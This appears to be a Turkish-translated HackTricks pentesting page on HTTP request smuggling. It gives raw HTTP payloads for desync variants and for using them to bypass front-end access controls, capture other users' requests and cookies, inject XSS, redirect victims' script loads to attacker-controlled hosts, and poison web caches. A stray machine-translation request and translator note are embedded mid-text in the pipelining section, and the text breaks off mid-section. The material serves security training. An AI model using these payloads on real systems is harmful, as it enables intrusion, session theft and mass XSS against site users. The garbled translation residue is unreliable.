HTTP Request Smuggling / HTTP Desync Attack

Reading time: 28 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Nedir

Bu zafiyet, front-end proxies ile back-end sunucusu arasında bir desenkronizasyon oluştuğunda meydana gelir; bu durum bir attacker'ın bir HTTP request göndermesine imkan verir; bu istek front-end proxy'leri (load balance/reverse-proxy) tarafından tek bir request olarak, back-end sunucusu tarafından ise 2 request olarak yorumlanır.
Bu, kullanıcının kendi isteğinden sonra back-end sunucusuna gelen sonraki isteği değiştirmesine olanak tanır.

Teori

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Gerçek Durum

Front-End (a load-balance / Reverse Proxy) content-length veya transfer-encoding header'larından birini işlerken, Back-end sunucusu diğerini işleyebilir ve bu iki sistem arasında bir desenkronizasyon meydana gelir.
Bu çok kritik olabilir çünkü bir attacker, reverse proxy'ye tek bir request gönderebilir ve bu istek back-end sunucusu tarafından 2 farklı request olarak yorumlanır. Bu tekniğin tehlikesi, back-end sunucusunun enjekte edilen 2. isteği sanki sonraki istemciden gelmiş gibi yorumlaması ve o istemcinin gerçek isteğinin enjekte edilen isteğin parçası haline gelmesidir.

Özellikler

Unutmayın ki HTTP'de yeni satır karakteri 2 byte'tan oluşur:

  • Content-Length: Bu header, isteğin gövdesinin byte cinsinden boyutunu belirtmek için ondalık sayı kullanır. Gövde son karakterde biter; isteğin sonunda yeni bir satır gerekli değildir.
  • Transfer-Encoding: Bu header gövdede ondalık değil, onaltılık (hex) sayı kullanarak bir sonraki chunk'ın boyutunu belirtir. Chunk bir yeni satırla bitmelidir ancak bu yeni satır uzunluk göstergesine dahil edilmez. Bu transfer yöntemi 0 boyutlu bir chunk ile ve bunu takip eden 2 yeni satır ile sona ermelidir.
  • Connection: Tecrübeme göre request smuggling'in ilk isteğinde Connection: keep-alive kullanılması önerilir.

Temel Örnekler

tip

Bunu Burp Suite ile istismar etmeye çalışırken repeater'da Update Content-Length ve Normalize HTTP/1 line endings seçeneklerini devre dışı bırakın çünkü bazı gadgets yeni satırlar, carriage return'lar ve hatalı content-length değerlerinden kötüye yararlanır.

HTTP request smuggling saldırıları, front-end ve back-end sunucuların Content-Length (CL) ve Transfer-Encoding (TE) header'larını nasıl farklı yorumladıklarındaki tutarsızlıklardan yararlanacak şekilde belirsiz istekler gönderilerek gerçekleştirilir. Bu saldırılar farklı formlarda ortaya çıkabilir; başlıca CL.TE, TE.CL ve TE.TE şeklindedir. Her tür, front-end ve back-end sunucuların bu header'lara hangi öncelikle yaklaştığının farklı bir kombinasyonunu temsil eder. Zafiyetler, her iki sunucunun aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü amaçlı sonuçlara yol açabilir.

Zafiyet Tiplerine Temel Örnekler

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Önceki tabloya TE.0 tekniğini eklemelisiniz; CL.0 tekniğine benzer ancak Transfer-Encoding kullanır.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): İsteği Content-Length header'ına göre işler.

  • Back-End (TE): İsteği Transfer-Encoding header'ına göre işler.

  • Saldırı Senaryosu:

  • Attacker, Content-Length header değerinin gerçek içerik uzunluğu ile uyuşmadığı bir istek gönderir.

  • Front-end sunucusu Content-Length değerine dayanarak tüm isteği back-end'e iletir.

  • Back-end sunucusu Transfer-Encoding: chunked header'ı nedeniyle isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): İsteği Transfer-Encoding header'ına göre işler.

  • Back-End (CL): İsteği Content-Length header'ına göre işler.

  • Saldırı Senaryosu:

  • Attacker, chunk boyutu (7b) ile gerçek içerik uzunluğu (Content-Length: 4) uyuşmayan bir chunked istek gönderir.

  • Front-end sunucusu Transfer-Encoding'i dikkate alarak tüm isteği back-end'e iletir.

  • Back-end sunucusu Content-Length'a göre yalnızca isteğin ilk bölümünü (7b byte) işler ve geri kalan, istem dışı bir sonraki isteğin parçası olarak kalır.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Her ikisi de Transfer-Encoding'i destekler, ancak biri obfuscation sayesinde bunu tanımamak üzere kandırılabilir.

  • Saldırı Senaryosu:

  • Attacker, obfuscate edilmiş Transfer-Encoding header'ları içeren bir istek gönderir.

  • Hangi sunucunun obfuscation'ı tanımadığına bağlı olarak, CL.TE veya TE.CL zafiyetlerinden biri sömürülebilir.

  • Bir sunucu tarafından işlenmeyen istek kısmı, sonraki bir isteğin parçası olur ve smuggling'e yol açar.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Her iki sunucu da isteği yalnızca Content-Length header'ına göre işler.
  • Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun istek uzunluğunu yorumlamasında uyum vardır.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Content-Length header'ının mevcut olduğu ve değeri sıfırdan farklı olduğu durumları ifade eder; bu, isteğin gövdesinde içerik olduğunu gösterir. Back-end Content-Length header'ını (0 olarak) yok sayar, ancak front-end bunu çözer.
  • Bu, sunucuların bir isteğin nerede bittiğini belirlemesini etkilediği için smuggling saldırılarını anlamak ve oluşturmak açısından kritiktir.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Öncekine benzer ancak TE kullanılarak yapılır.
  • Technique reported here
  • Örnek:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Breaking the web server

This technique is also useful in scenarios where it's possible to break a web server while reading the initial HTTP data but without closing the connection. This way, the body of the HTTP request will be considered the next HTTP request.

For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.

Forcing via hop-by-hop headers

Abusing hop-by-hop headers you could indicate the proxy to delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.

Connection: Content-Length

For hop-by-hop headers hakkında daha fazla bilgi için ziyaret edin:

hop-by-hop headers

HTTP Request Smuggling Tespiti

HTTP request smuggling zafiyetlerini tespit etmek genellikle zamanlama teknikleriyle mümkündür; bu teknikler, manipüle edilmiş isteklerin sunucunun yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu yöntemler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için uygundur. Bu yöntemlerin yanı sıra, böyle zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:

Zamanlama Teknikleriyle CL.TE Zafiyetlerini Bulma

  • Yöntem:

  • Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Gözlem:

  • Front-end sunucu isteği Content-Length bazında işler ve mesajı erken keser.

  • Back-end sunucu chunked bir mesaj beklediği için, gelmeyen sonraki chunk için bekler ve gecikmeye neden olur.

  • Belirtiler:

  • Zaman aşımı veya uzun yanıt gecikmeleri.

  • Back-end sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgisiyle birlikte.

Zamanlama Teknikleriyle TE.CL Zafiyetlerini Bulma

  • Yöntem:

  • Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Gözlem:
  • Front-end sunucu isteği Transfer-Encoding bazında işler ve tüm mesajı iletir.
  • Back-end sunucu Content-Length bazlı bir mesaj beklediği için, gelmeyen ek veriler için bekler ve gecikmeye neden olur.

Zafiyetleri Bulmak İçin Diğer Yöntemler

  • Diferansiyel Yanıt Analizi:
  • İsteğin hafifçe değiştirilmiş versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir parsing uyumsuzluğuna işaret edebilir.
  • Otomatik Araçların Kullanımı:
  • Burp Suite'in 'HTTP Request Smuggler' extension gibi araçlar, çeşitli belirsiz istek biçimlerini gönderip yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
  • Content-Length Farklılık Testleri:
  • Gerçek içerik uzunluğuyla uyumlu olmayan farklı Content-Length değerleri gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
  • Transfer-Encoding Varyans Testleri:
  • Obfusk edilmiş veya bozuk Transfer-Encoding başlıkları içeren istekler gönderin ve front-end ile back-end sunucuların bu manipülasyonlara nasıl farklı tepki verdiğini izleyin.

HTTP Request Smuggling Zafiyet Testi

Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, client isteklerinin manipüle edilebildiğini teyit etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi deneyerek bir istemcinin / isteğinin 404 döndürmesini sağlamaktır. Önceki CL.TE ve TE.CL örnekleri Basic Examples bölümünde, istemci farklı bir kaynağa erişmeye çalışsa bile bir istemci isteğini zehirleyip 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.

Önemli Hususlar

Diğer isteklerle etkileşime girerek request smuggling testi yaparken aklınızda olması gerekenler:

  • Farklı Network Bağlantıları: "Saldırı" ve "normal" istekler ayrı network bağlantıları üzerinden gönderilmelidir. Her ikisini de aynı bağlantı üzerinden göndermek zafiyetin varlığını doğrulamaz.
  • Tutarlı URL ve Parametreler: Her iki istek için de aynı URL ve parametre isimlerini kullanmaya çalışın. Modern uygulamalar sıklıkla URL ve parametrelere göre belirli back-end sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gereklidir.
  • Zamanlama ve Yarış Koşulları: "Normal" istek, "saldırı" isteğinin müdahalesini tespit etmek için gönderilir ve diğer eşzamanlı uygulama istekleriyle yarışır. Bu yüzden "normal" isteği "saldırı" isteğini hemen takiben gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
  • Load Balancing Zorlukları: Front-end sunucular load balancer gibi davranıyorsa, istekleri farklı back-end sistemlere dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse saldırı başarısız olur. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birden fazla deneme gerektirebilir.
  • İstenmeyen Kullanıcı Etkisi: Saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" istek dışındaki) etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test yapmak diğer kullanıcıları rahatsız edebileceğinden dikkatli olun.

HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme

Connection reuse (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktlarını gerçek sunucu tarafı desync'inden ayırmayı öğrenin.

Neden pipelining klasik false positives üretir

HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri/yanıtları aynı akış üzerinde ardışık olarak birleştirir. Pipelining'de client arka arkaya birden fazla istek gönderir ve sıralı yanıtlarla uyum bekler. Yaygın bir false-positive, hatalı CL.0-tarzı bir payload'ı tek bir bağlantıda iki kez yeniden göndermektir:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Çevirmem için src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini buraya yapıştırın.

Not: Kod, etiketler, linkler, dosya yolları ve teknik terimler (ör. HTTP request smuggling, pentesting, cloud/SaaS isimleri) çevrilmeyecek; geri kalan İngilizce metni Türkçeye çevireceğim.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Eğer sunucu bozuk Content_Length değerini yok saydıysa, FE↔BE desync olmaz. Reuse ile istemciniz aslında bu byte-stream'i gönderdi; sunucu bunu iki bağımsız istek olarak ayrıştırdı:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. Sadece istemcinizi sunucu framing'inden desynced ettiniz.

tip

Reuse/pipelining'e bağlı olan Burp modülleri: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • Burp Intruder/Repeater'da HTTP/1 reuse'u kapatın ve "Send group in sequence"i kullanmaktan kaçının.
  • Turbo Intruder'da requestsPerConnection=1 ve pipeline=False ayarlayın.
  • Eğer davranış kaybolursa, muhtemelen client-side pipelining idi; bağlantı-locked/stateful hedefler veya client-side desync ile uğraşmıyorsanız bu geçerlidir.
  1. HTTP/2 nested-response check
  • Bir HTTP/2 isteği gönderin. Eğer response body tam bir nested HTTP/1 response içeriyorsa, saf bir client artefaktı yerine backend parsing/desync bug'ını kanıtlamış olursunuz.
  1. Partial-requests probe for connection-locked front-ends
  • Bazı FE'ler upstream BE bağlantısını yalnızca client kendi bağlantısını reuse ettiyse kullanır. FE davranışını tespit etmek için partial-requests kullanın; böylece FE'nin client reuse'unu yansıttığını gösterebilirsiniz.
  • Connection-locked tekniği için PortSwigger "Browser‑Powered Desync Attacks"e bakın.
  1. State probes
  • Aynı TCP bağlantısında ilk istek ile sonraki istekler arasındaki farklara bakın (first-request routing/validation).
  • Burp "HTTP Request Smuggler" içinde bu işlemi otomatikleştiren bir connection‑state probe bulunur.
  1. Visualize the wire
  • Deney yaparken bağlantı reuse ve partial requests ile birlikte konkatenasyon ve message framing'i doğrudan incelemek için Burp "HTTP Hacker" eklentisini kullanın.

Connection‑locked request smuggling (reuse-required)

Bazı front-end'ler upstream bağlantıyı yalnızca client onlarınkini reuse ettiğinde yeniden kullanır. Gerçek smuggling mevcut olabilir ama client-side reuse'a bağlıdır. Ayırt etmek ve etkiyi kanıtlamak için:

  • Server-side bug'ı kanıtlayın
  • HTTP/2 nested-response check'i kullanın, veya
  • FE'nin upstream'i yalnızca client reuse ettiğinde yeniden kullandığını göstermek için partial-requests kullanın.
  • Doğrudan cross-user socket suistimali engellense bile gerçek etkiyi gösterin:
  • Cache poisoning: desync yoluyla paylaşılan cache'leri zehirleyerek cevapların diğer kullanıcıları etkilemesini sağlayın.
  • Internal header disclosure: FE tarafından enjekte edilen header'ları (ör. auth/trust header'ları) yansıtıp auth bypass'a pivot edin.
  • Bypass FE controls: smuggled HTTP isteğiyle kısıtlı path/method'ları front-end'den geçirerek.
  • Host-header abuse: host routing tuhaflıkları ile birleştirip internal vhost'lara pivot yapın.
  • Operatör iş akışı
  • Kontrollü reuse ile yeniden üretin (Turbo Intruder requestsPerConnection=2, veya Burp Repeater tab group → "Send group in sequence (single connection)").
  • Ardından cache/header-leak/control-bypass primitiflerine zincirleyin ve cross-user veya yetkilendirme etkisini gösterin.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Eğer browser-powered/client-side desync hedefliyorsanız, kötü niyetli istek tarayıcı tarafından cross-origin olarak gönderilebilir olmalıdır. Header obfuscation hileleri işe yaramaz. Navigation/fetch ile ulaşılabilen primitiflere odaklanın, sonra downstream bileşenlerin response'ları yansıtması veya cache'lemesi durumunda cache poisoning, header disclosure veya front-end kontrol atlatmaya pivot yapın.

Arka plan ve uçtan uca iş akışları için:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket konkatenasyonunu açığa çıkarır.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: requestsPerConnection ile bağlantı reuse'u üzerinde hassas kontrol sağlar.
  • Burp HTTP Request Smuggler: first‑request routing/validation'ı tespit eden bir connection‑state probe içerir.

note

Reuse-only etkileri, server-side desync'i kanıtlayıp somut etki (poisoned cache artifact, internal header leak ile privilege bypass, atlatılmış FE kontrolü vb.) ilişkilendiremedikçe önemsemeyin.

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Bazen front-end proxy'leri güvenlik önlemleri uygular, gelen istekleri inceleyerek. Ancak bu önlemler HTTP Request Smuggling kullanılarak atlatılabilir ve kısıtlı endpoint'lere yetkisiz erişim sağlanabilir. Örneğin, dışarıdan /admin erişimi yasaklanmış olabilir; front-end proxy bu tür denemeleri aktif olarak engeller. Yine de bu proxy, smuggled bir HTTP isteği içindeki gömülü istekleri incelemeyi atlayabilir ve böylece kısıtlamaları baypas etme açığı bırakabilir.

Aşağıda HTTP Request Smuggling'in front-end güvenlik kontrollerini atlatmak için nasıl kullanılabileceğini gösteren örnekler bulunmaktadır; özellikle front-end proxy tarafından genellikle korunmuş olan /admin path'ine odaklanır:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE saldırısında, ilk istek için Content-Length başlığı kullanılırken, gömülü sonraki istek Transfer-Encoding: chunked başlığını kullanır. front-end proxy ilk POST isteğini işler ancak gömülü GET /admin isteğini incelemez; bu, /admin yoluna yetkisiz erişime izin verir.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Tersine, TE.CL saldırısında ilk POST isteği Transfer-Encoding: chunked kullanır ve sonraki gömülü istek Content-Length başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlice yerleştirilmiş GET /admin isteğini gözden kaçırır ve istemeden /admin yoluna erişim sağlar.

Ön uç istek yeniden yazımını ortaya çıkarma

Uygulamalar genellikle gelen istekleri back-end sunucusuna iletmeden önce değiştirmek için bir ön uç sunucu kullanır. Tipik bir değişiklik, istemcinin IP'sini back-end'e iletmek amacıyla X-Forwarded-For: <IP of the client> gibi başlıklar eklemektir. Bu değişiklikleri anlamak kritik olabilir; çünkü bunlar korumaları atlamanın veya gizlenmiş bilgi veya uç noktaları ortaya çıkarmanın yollarını açığa çıkarabilir.

Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, back-end'in yanıtında geri döndürdüğü bir POST parametresi bulun. Ardından, bu parametreyi son sırada kullanarak şu örneğe benzer bir istek oluşturun:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Bu yapıda, sonraki istek bileşenleri search='den sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin header'larını açığa çıkarır.

İç içe geçmiş isteğin Content-Length header'ını gerçek içerik uzunluğuyla eşleştirmek önemlidir. Küçük bir değerden başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik, TE.CL açığı bağlamında da uygulanabilir, ancak istek search=\r\n0 ile sonlanmalıdır. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.

Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya hizmet eder; temelde kendi kendine bir inceleme gerçekleştirir.

Diğer kullanıcıların isteklerini yakalama

Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:

Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek sonraki istemcinin isteğini depolayabilirsiniz:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Bu senaryoda, yorum parametresi genel erişime açık bir sayfadaki bir gönderinin yorum bölümündeki içeriği saklamak için tasarlanmıştır. Dolayısıyla sonraki isteğin içeriği bir yorum olarak görünecektir.

Bununla birlikte, bu tekniğin sınırlamaları vardır. Genelde, smuggled request'te kullanılan parametre ayırıcıya kadar olan verileri yakalar. URL-encoded form gönderimleri için bu ayırıcı & karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk &'ye kadar duracağı anlamına gelir; bu & sorgu dizisinin bir parçası bile olabilir.

Ayrıca, bu yaklaşımın TE.CL zafiyetiyle de mümkün olduğunu belirtmekte fayda var. Bu durumda istek search=\r\n0 ile sona ermelidir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.

HTTP Request Smuggling kullanarak Reflected XSS'i istismar etme

HTTP Request Smuggling, Reflected XSS'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:

  • Hedef kullanıcılarla etkileşim gerekmez.
  • HTTP request headers gibi normalde ulaşılamayan isteğin bölümlerinde XSS'in istismar edilmesine izin verir.

Bir web sitesi User-Agent header üzerinden Reflected XSS'e karşı savunmasızsa, aşağıdaki payload bu zafiyeti nasıl istismar edeceğinizi gösterir:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload is structured to exploit the vulnerability by:

  1. Başlangıçta tipik görünen bir POST isteği başlatmak; smuggling'in başladığını belirtmek için Transfer-Encoding: chunked başlığıyla.
  2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir 0.
  3. Sonra, smuggled bir GET isteği sokulur; burada User-Agent başlığına bir script, <script>alert(1)</script>, enjekte edilerek sunucu bu sonraki isteği işlediğinde XSS tetiklenir.

User-Agent'ı smuggling yoluyla manipüle ederek payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.

HTTP/0.9

caution

Eğer kullanıcı içeriği, XSS'in çalışmasını engelleyen Content-type olarak örneğin text/plain ile bir yanıtta yansıtılıyorsa. Eğer sunucu HTTP/0.9 destekliyorsa, bunun atlatılması mümkün olabilir!

HTTP/0.9 sürümü, 1.0'dan öncedir ve yalnızca GET verbünü kullanır; headers ile yanıt vermez, sadece gövdeyi döner.

In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. Yanıtta yansıtılacak parametre, başlıklar ve gövde içeren sahte bir HTTP/1.1 response (with headers and body) içeriyordu; bu yüzden yanıt, Content-Typeı text/html olan geçerli çalıştırılabilir JS kodu içerecek şekilde oluştu.

Site İçi Yönlendirmeleri HTTP Request Smuggling ile İstismar Etme

Uygulamalar genellikle yönlendirme URL'sinde hostname olarak Host başlığındaki ana bilgisayar adını kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasör istenip sonuna eğik çizgi eklenmemişse, eğik çizgiyi eklemek için bir yönlendirme ile sonuçlanır:

GET /home HTTP/1.1
Host: normal-website.com

Sonuç olarak:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Görünürde zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için istismar edilebilir. Örneğin:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan kontrolündeki bir web sitesine yönlendirilmesine neden olabilir:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçiriliyor. Saldırgan, kötü amaçlı JavaScript sunarak kullanıcıyı tehlikeye atabilir.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning, herhangi bir bileşenin front-end infrastructure caches content olması durumunda uygulanabilir; bu genellikle performansı artırmak içindir. Sunucunun yanıtını manipüle ederek poison the cache yapmak mümkün olabilir.

Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini görmüştük (refer to Basic Examples). Benzer şekilde, sunucuyu /static/include.js isteğine /index.html içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, cache'deki /static/include.js içeriği /index.html içeriğiyle değiştirilir; bu, /static/include.js'in kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.

Bu teknik, bir Open Redirect vulnerability bulunması veya site içinde bir on-site redirect to an open redirect olması durumunda özellikle etkili hale gelir. Bu tür zayıflıklar, cache'deki /static/include.js içeriğini saldırganın kontrolündeki bir script ile değiştirmek için kullanılabilir ve güncellenmiş /static/include.js'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını fiilen mümkün kılar.

Aşağıda cache poisoning combined with an on-site redirect to open redirect kullanılarak yapılan bir istismarın gösterimi yer almaktadır. Amaç, cache'deki /static/include.js içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

Başarılı socket poisoning sonrası, /static/include.js için bir GET request başlatılmalıdır. Bu istek önceki on-site redirect to open redirect isteği tarafından kirletilecek ve saldırganın kontrolündeki scriptin içeriğini alacaktır.

Bundan sonra, /static/include.js için yapılacak tüm istekler saldırganın scriptinin önbelleğe alınmış içeriğini servis edecek ve etkin bir şekilde geniş çaplı bir XSS saldırısı başlatılacaktır.

Using HTTP request smuggling to perform web cache deception

web cache poisoning ile web cache deception arasındaki fark nedir?

